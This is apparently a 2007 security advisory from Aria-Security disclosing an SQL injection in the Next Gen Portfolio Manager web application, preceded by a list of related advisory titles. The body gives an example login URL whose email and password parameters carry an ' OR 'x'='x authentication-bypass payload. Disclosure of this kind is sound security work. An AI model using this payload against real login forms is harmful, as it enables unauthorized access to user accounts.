Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Full-disclosure] DVD Rental System multiple XSS and CSRF vulnerabilities

[Aria-Security.Net] Gallery In A Box Username & Password Parameters SQL Injection

la-nai cms_v1.2.14 - Remote SQL Injection

Dynamic PressRelease/getpress .asp sql injection

From:	Advisory_(at)_Aria-Security.net <Advisory_(at)_Aria-Security.net>
Date:	03.08.2007
Subject:	[Aria-Security.Net] Next Gen Portfolio Manager SQL Injection

__________________

Aria-Security Team
__________________

Next Gen Portfolio Manager SQL Injection
http://www.weaveyourwebdreams.com/


http://example.com/path/default.
asp?ExecuteTheLogin=1&Users_Email=anything%27+OR+%27x%27%3D%
27x&Users_Password=anything%27+OR+%27x%27%3D%27x



Credits: Aria-Security Team
http://aria-security.net/forum
http:/outlaw.aria-security.info [PERSONAL BLOG]